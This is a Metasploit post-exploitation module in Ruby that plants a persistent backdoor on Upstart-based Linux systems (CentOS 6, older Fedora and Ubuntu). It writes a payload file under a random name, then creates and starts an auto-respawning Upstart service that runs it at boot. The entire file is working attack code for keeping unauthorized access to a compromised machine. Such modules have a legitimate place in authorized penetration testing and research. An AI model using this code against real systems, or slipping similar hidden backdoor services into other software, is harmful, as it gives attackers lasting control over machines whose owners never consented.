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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Unix
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  include Msf::Exploit::EXE # for generate_payload_exe
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::Local::Persistence
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Deprecated
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  moved_from 'exploits/linux/local/service_persistence'
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Service Upstart Persistence',
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        'Description' => %q{
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          This module will create a service on the box, and mark it for auto-restart.
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          We need enough access to write service files and potentially restart services
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          Targets:
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          CentOS 6
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          Fedora >= 9, < 15
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          Ubuntu >= 9.10, <= 14.10
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die',
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        ],
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        'Platform' => ['unix', 'linux'],
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        'Targets' => [
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          [
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            'Upstart', {
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              runlevel: '2345'
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'Privileged' => true,
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        'Arch' => [
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          ARCH_CMD,
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          ARCH_X86,
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          ARCH_X64,
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          ARCH_ARMLE,
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          ARCH_AARCH64,
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          ARCH_PPC,
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          ARCH_MIPSLE,
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          ARCH_MIPSBE
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        ],
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        'References' => [
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          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
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          ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
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          ['URL', 'http://blog.terminal.com/getting-started-with-upstart/']
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        ],
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        'SessionTypes' => ['shell', 'meterpreter'],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        },
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        'DisclosureDate' => '2006-08-24' # upstart release date
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      )
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    )
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    register_options(
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      [
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        OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
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        OptString.new('SERVICE', [false, 'Name of service to create']),
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        OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]),
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        OptEnum.new('INIT_FOLDER', [false, 'Init folder location', 'auto', ['auto', 'init', 'init.d']])
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      ]
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    )
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  end
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  def init_folder
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    if datastore['INIT_FOLDER'] == 'init' ||
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       (
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         datastore['INIT_FOLDER'] == 'auto' &&
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         exists?('/etc/init')
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       )
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      return '/etc/init'
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    end
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    '/etc/init.d'
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  end
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  def check
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    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
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    return CheckCode::Safe("#{init_folder} isnt writable") unless writable?(init_folder)
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    return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')
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    CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
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  end
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  def install_persistence
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    backdoor = write_shell(writable_dir)
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    path = backdoor.split('/')[0...-1].join('/')
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    file = backdoor.split('/')[-1]
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    upstart(path, file, target.opts[:runlevel])
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  end
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  def write_shell(path)
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    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
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    backdoor = "#{path}/#{file_name}"
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    vprint_status("Writing backdoor to #{backdoor}")
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    if payload.arch.first == 'cmd'
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      write_file(backdoor, payload.encoded)
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      chmod(backdoor, 0o711)
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    else
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      upload_and_chmodx backdoor, generate_payload_exe
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    end
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    @clean_up_rc << "rm #{backdoor}\n"
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    fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
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    backdoor
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  end
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  def upstart(backdoor_path, backdoor_file, runlevel)
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    script = <<~EOF
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      description "Start daemon at boot time"
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      start on filesystem or runlevel [#{runlevel}]
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      stop on shutdown
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      # Ensure only one instance runs
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      pre-start script
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          if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then
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              echo "#{backdoor_file} is already running."
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              exit 1
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          fi
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      end script
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      script
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          echo $$ > /var/run/#{backdoor_file}.pid
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          exec #{backdoor_path}/#{backdoor_file}
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      end script
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      post-stop script
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          rm -f /var/run/#{backdoor_file}.pid
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          sleep 10
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      end script
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      respawn
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      respawn limit #{datastore['RESTART_LIMIT']} 300
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    EOF
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    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
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    service_name = "#{init_folder}/#{service_filename}.conf"
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    vprint_status("Writing service: #{service_name}")
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    write_file(service_name, script)
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    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
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    @clean_up_rc << "rm #{service_name}"
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    vprint_status('Starting service')
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    cmd_exec("initctl start #{service_filename}")
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  end
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end
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